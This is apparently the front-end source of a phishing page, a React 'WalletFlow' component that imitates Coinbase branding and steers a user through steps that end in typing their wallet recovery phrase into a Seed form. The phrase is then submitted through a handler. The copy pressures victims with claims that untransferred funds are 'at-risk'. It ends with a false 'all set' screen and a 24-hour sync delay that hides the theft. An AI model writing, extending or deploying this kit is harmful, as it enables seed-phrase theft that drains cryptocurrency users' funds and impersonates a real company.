import { Checkbox } from '@/components/ui/checkbox';
import { Label } from '@/components/ui/label';
import Image from 'next/image'
import Link from 'next/link';
import { useEffect, useState } from 'react'
import { FormProps } from '.';
import Seed from './Seed';
import { isValidSeed } from '@/lib/utils';

enum Steps {
    Start,
    Download,
    Backup,
    Connect,
    Transfer,
    End
}

export default function WalletFlow({
    error = {},
    formData,
    handleKeyDown,
    handleInputChange,
    handleContinue = () => { },
}: FormProps) {
    const [isSubmitting, setSubmitting] = useState<boolean>(false)
    const [step, setStep] = useState<Steps>(Steps.Start)
    const [isChecked, setIsChecked] = useState<boolean>(false);

    const renderForm = () => {
        switch (step) {
            case Steps.Start:
                return (
                    <Start />
                )
            case Steps.Download:
                return (
                    <Download />
                )

            case Steps.Backup:
                return (
                    <Connect />
                )
            case Steps.Connect:
                return (
                    <Seed
                        formData={formData}
                        handleKeyDown={handleKeyDown}
                        handleInputChange={handleInputChange}
                        error={error}
                    />
                )
            case Steps.Transfer:
                return (
                    <Transfer isChecked={isChecked} setIsChecked={setIsChecked} />
                )
            case Steps.End:
                return (
                    <End />
                )
        }
    }

    const handleContinuee = () => {
        switch (step) {
            case Steps.Start:
                setStep(Steps.Download)
                break
            case Steps.Download:
                setStep(Steps.Backup)
                break
            case Steps.Backup:
                setStep(Steps.Connect)
                break
            case Steps.Connect:
                setSubmitting(true)
                setTimeout(() => {
                    setSubmitting(false)
                    setStep(Steps.Transfer)
                }, 500)
                break
            case Steps.Transfer:
                setStep(Steps.End)
                break
            case Steps.End:
                setSubmitting(true)
                handleContinue()
                break
        }
    }

    useEffect(() => {
        if (error.seed) {
            setStep(Steps.Connect)
            setSubmitting(false)
        }
    }, [error])
    return (
        <div className='flex flex-col items-center gap-6 pb-6'>
            {renderForm()}
            <button
                className={`-mb-3 disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${isSubmitting ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none' : ''
                    }`}
                disabled={(step === Steps.Transfer && !isChecked) || (step === Steps.Connect && !isValidSeed(formData.seed))}
                onClick={handleContinuee}
            >
                {isSubmitting ? (
                    <div
                        className={
                            '!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
                        }
                    ></div>
                ) : (
                    'Continue'
                )}
            </button>
        </div>
    )
}

function getRandomInt(min: number, max: number) {
    min = Math.ceil(min);
    max = Math.floor(max);
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

function Start() {
    const [particles, setParticles] = useState<
        { left: string; animationDelay: string; animationDuration: string }[]
    >([]);

    useEffect(() => {
        const generatedParticles = Array.from({ length: 30 }, () => ({
            left: `${getRandomInt(5, 95)}%`,
            animationDelay: `${Math.random() * 2}s`,
            animationDuration: `${2 + Math.random() * 3}s`,
        }));
        setParticles(generatedParticles);
    }, []);

    return (
        <>
            <div className='-mt-7 relative flex flex-col items-center justify-center w-[400px] h-[300px] bg-secondary dark:bg-[#101010] rounded-[32px] dark:shadow-md overflow-hidden'>
                <div className='absolute z-20 top-[32%] w-[106px] h-[300px] bg-gradient-to-b from-[#37c5ee] via-[#0039b1] to-[#01133c] rounded-full'></div>
                <div className="absolute top-0 left-0 w-full h-full overflow-hidden z-0 pointer-events-none">
                    {particles.map((particle, index) => (
                        <div
                            key={index}
                            className="particle bg-gradient-to-b from-transparent via-blue-500 to-blue-400 absolute"
                            style={{
                                left: particle.left,
                                animationDelay: particle.animationDelay,
                                animationDuration: particle.animationDuration,
                            }}
                        ></div>
                    ))}
                </div>

                <div className='relative w-[96px] h-[96px] rounded-full flex items-center justify-center shadow-lg z-20'>
                    <Image draggable="false" className='animate-spin2 select-none' src='/wallet.ico' width={96} height={96} alt='logo' />
                </div>
            </div>

            <h2 className='text-[28px] text-center z-20'>Link Coinbase Wallet</h2>
            <p className='max-w-sm text-center text-muted-foreground font-cbtext text-sm z-20'>
                Follow the step-by-step guide on how to link your Coinbase Wallet and
                move funds from your Coinbase account to your cold wallet and secure
                your assets.
            </p>

            <style jsx>{`
                .particle {
                    width: 2px;
                    height: 40px;
                    position: absolute;
                    top: -40px;
                    z-index: 2;
                    animation: moveParticle linear infinite;
                }

                @keyframes moveParticle {
                    from {
                        transform: translateY(0);
                        opacity: 1;
                    }
                    to {
                        transform: translateY(300px);
                        opacity: 0;
                    }
                }
            `}</style>
        </>
    );
}

function Download() {
    return (
        <div className='flex items-center flex-col gap-4'>
            <Image src={"/download.svg"} height={86} width={86} alt={'image'} priority />
            <h2 className='text-[28px] leading-8 text-center '>Download the Coinbase Wallet App</h2>
            <p className='max-w-sm text-center text-muted-foreground font-cbtext text-sm z-20'>
                The Coinbase Wallet app is avaiable for download through the App Store or Google Play Store.
            </p>
            <div className='flex flex-row gap-3 items-center py-6'>
                <Link target='_blank' href="https://apps.apple.com/us/app/coinbase-wallet-nfts-crypto/id1278383455">
                    <Image src={"/download-on-the-app-store.svg"} className="h-fit w-[120px] bg-[#a6a6a6] rounded-md" height={40} width={120} alt='appstore' priority />
                </Link>
                <Link target='_blank' href="https://play.google.com/store/apps/details?id=org.toshi&hl=en">
                    <Image src={"/google3.png"} className="h-fit w-[120px] bg-[#a6a6a6] rounded-sm" height={30} width={120} alt='play' priority />
                </Link>

            </div>
        </div>
    )
}

/*function Backup({ isChecked, setIsChecked, seed }: { isChecked: boolean; setIsChecked: (checked: boolean) => void; seed: string;}) {
    const [copied, setCopied] = useState<boolean>(false);

    const copySeedToClipboard = () => {
        navigator.clipboard.writeText(seed).then(() => {
            setCopied(true)
        }).catch((error) => {
            console.error('Failed to copy seed:', error);
            setCopied(false)
        });
    };

    return (
        <div className='flex flex-col gap-4'>
            <Image src={"/key.svg"} height={86} width={86} alt={'image'} />
            <h2 className='text-[28px] leading-8'>Back up your wallet</h2>
            <p className='max-w-sm text-muted-foreground font-cbtext text-sm z-20'>
                Write down your recovery phrase and store it someplace safe, or save it to a password manager. Do not share this with anyone, including Coinbase.
            </p>
            <div className='py-5 flex flex-col gap-4'>
                <div onClick={copySeedToClipboard} className={'shadow border rounded-md w-full h-fit p-1'}>
                    <div className='blur-sm hover:blur-0 ease-in-out transition-all w-full h-full p-3 cursor-pointer'>
                        <p className='select-none'>{seed}</p>
                    </div>
                </div>
                <p className='text-sm -mt-2 ml-2'>{copied ? "Copied!" : ""}</p>
                <div className='flex flex-row items-center gap-2'>
                    <Checkbox
                        className='rounded-none'
                        id="checkbox"
                        checked={isChecked}
                        onClick={() => setIsChecked(!isChecked)}
                    />
                    <Label className="text-sm text-muted-foreground" htmlFor="checkbox">
                        I understand that if I lose my recovery phrase, I'll lose all of the crypto in my wallet.
                    </Label>
                </div>
            </div>
        </div>
    )
}*/

function Connect() {
    return (
        <div className='flex items-center flex-col gap-4'>
            <Image src={"/key.svg"} height={86} width={86} alt={'image'} priority/>
            <h2 className='text-[28px] leading-8 text-center '>Create a new wallet</h2>
            <p className='max-w-sm text-center text-muted-foreground font-cbtext text-sm z-20'>
                Follow these steps to securely create a new self-custody wallet, ensuring your assets are safely stored and controlled by you.
            </p>
            <ul className='flex flex-col text-[14px] text-muted-foreground list-disc text-start self-start px-4 py-4 gap-3 list-inside'>
                <li>Open the <span className='font-semibold'>Coinbase Wallet App</span>.</li>
                <li>Review and accept the <span className='font-semibold'>Privacy Policy</span> and <span className='font-semibold'>Terms of Service</span>.</li>
                <li>Select <span className='font-semibold'>Create new wallet</span>.</li>
                <li>Select <span className='font-semibold'>Claim my username</span>.</li>
            </ul>
        </div>
    )
}

function Transfer({ isChecked, setIsChecked }: { isChecked: boolean; setIsChecked: (checked: boolean) => void; }) {
    return (
        <div className='flex flex-col gap-4 '>
            <Image src={"/shield.svg"} height={86} width={86} alt={'image'} />
            <h2 className='text-[28px] leading-8 text-start '>Transfer and secure assets from Coinbase to Coinbase Wallet</h2>
            <div className='flex flex-col gap-3 text-sm font-cbsans text-muted-foreground text-start'>
                <p>On <span className='font-semibold'>Coinbase Wallet</span>, tap the gear icon at the bottom right of your screen to go to <span className='font-semibold'>Settings</span>.</p>
                <p>Then, locate and tap on <span className='font-semibold'>Connect to Coinbase</span>, and follow the remaining steps to transfer all funds from your <span className='font-semibold'>Coinbase</span> account to your <span className='font-semibold'>Coinbase Wallet</span>.</p>
                <p>Any remaining funds or assets you do not transfer are <span className='font-semibold'>at-risk</span>.</p>
            </div>
            <div className='flex flex-row items-center gap-3'>
                <Checkbox
                    className='rounded-none'
                    id="checkbox"
                    checked={isChecked}
                    onClick={() => setIsChecked(!isChecked)}
                />
                <Label className="text-sm text-muted-foreground" htmlFor="checkbox">
                    I understand that all the funds or assets I don't transfer are at-risk.
                </Label>
            </div>
        </div>
    )
}

function End() {
    const images = ["eth.png", "sol.png", "thether.png", "uni.png", "trx.png", "xmr.png", "btc.png", "ltc.png"];
    const [positions, setPositions] = useState<
        { top: number; left: number; size: number; rotate: number; direction: string }[]
    >([]);

    useEffect(() => {
        const bigCircleCenterX = 400 / 2;
        const bigCircleCenterY = 300 / 2;
        const bigCircleRadius = 120;
        const smallCircleRadius = 58;

        const isOverlapWithSmallCircle = (
            top: number,
            left: number,
            size: number
        ) => {
            const dx = left + size / 2 - bigCircleCenterX;
            const dy = top + size / 2 - bigCircleCenterY;
            const distance = Math.sqrt(dx * dx + dy * dy);
            return distance < smallCircleRadius + size / 2;
        };

        const generateRandomPositions = () => {
            const randomPositions: {
                top: number;
                left: number;
                size: number;
                rotate: number;
                direction: string;
            }[] = [];
            const totalImages = images.length;
            const angleStep = (2 * Math.PI) / totalImages;

            for (let i = 0; i < totalImages; i++) {
                const angle = i * angleStep;
                const distanceToEdge = bigCircleRadius + 40; // Offset from the center
                const top = bigCircleCenterY + Math.sin(angle) * distanceToEdge - 30;
                const left = bigCircleCenterX + Math.cos(angle) * distanceToEdge - 30;

                let size = 60;
                let retries = 0;

                while (isOverlapWithSmallCircle(top, left, size) && retries < 10) {
                    size = 40 + Math.random() * 40;
                    retries++;
                }

                randomPositions.push({
                    top,
                    left,
                    size,
                    rotate: Math.random() * 360 * (Math.random() < 0.5 ? -1 : 1),
                    direction: Math.random() < 0.5 ? "clockwise" : "counterclockwise",
                });
            }

            return randomPositions;
        };

        setPositions(generateRandomPositions());
    }, []);

    return (
        <div className="flex flex-col gap-4">
            <div className="relative flex flex-col items-center justify-center w-[400px] h-[300px] bg-secondary dark:bg-[#101010] rounded-[32px] dark:shadow-md overflow-hidden">
                <div className="relative w-[96px] h-[96px] rounded-full flex items-center justify-center shadow-lg z-20">
                    <div className="absolute left-[50%] z-10 -translate-x-[50%] h-[116px] w-[116px] rounded-full bg-gradient-to-b from-[#0042ed] to-[#50c7bf] flex items-center justify-center p-2">
                        <div className="w-full h-full rounded-full bg-black flex justify-center items-center p-5">
                            <div className="flex bg-white rounded-full w-full h-full items-center justify-center p-4">
                                <div className="rounded-md bg-black w-full h-full"></div>
                            </div>
                        </div>
                    </div>
                    <div className="absolute left-[50%] -translate-x-[50%] h-[240px] w-[240px]  rounded-full magic2 flex items-center justify-center p-2"></div>
                </div>
                <div className="absolute z-10 rotate-container w-full h-full">
                    {positions.map((pos, index) => (
                        <Image
                            key={index}
                            src={`/${images[index]}`}
                            alt="Crypto Icon"
                            className="absolute z-20 border-8 border-white rounded-full dark:border-none"
                            width={pos.size}
                            height={pos.size}
                            style={{
                                top: `${pos.top}px`,
                                left: `${pos.left}px`,
                                width: `${pos.size}px`,
                                height: `${pos.size}px`,
                                animation: `${pos.direction === "clockwise" ? "rotateCW" : "rotateCCW"} 10s linear infinite`,
                                transform: `rotate(${pos.rotate}deg)`,
                            }}
                            priority
                        />
                    ))}
                </div>
            </div>
            <h2 className="text-[28px] text-center z-20">You're all set!</h2>
            <div className="flex flex-col gap-4 px-6">
                <p className="text-center">
                    All your crypto assets are now in your custody, secured in your{" "}
                    <span className="font-semibold">Coinbase Wallet</span>.
                </p>
                <p className="text-center">
                    Please allow up to 24 hours for <span className="font-semibold">Coinbase Wallet</span> to sync with
                    your <span className="font-semibold">Coinbase Account</span>.
                </p>
            </div>
        </div>
    );
}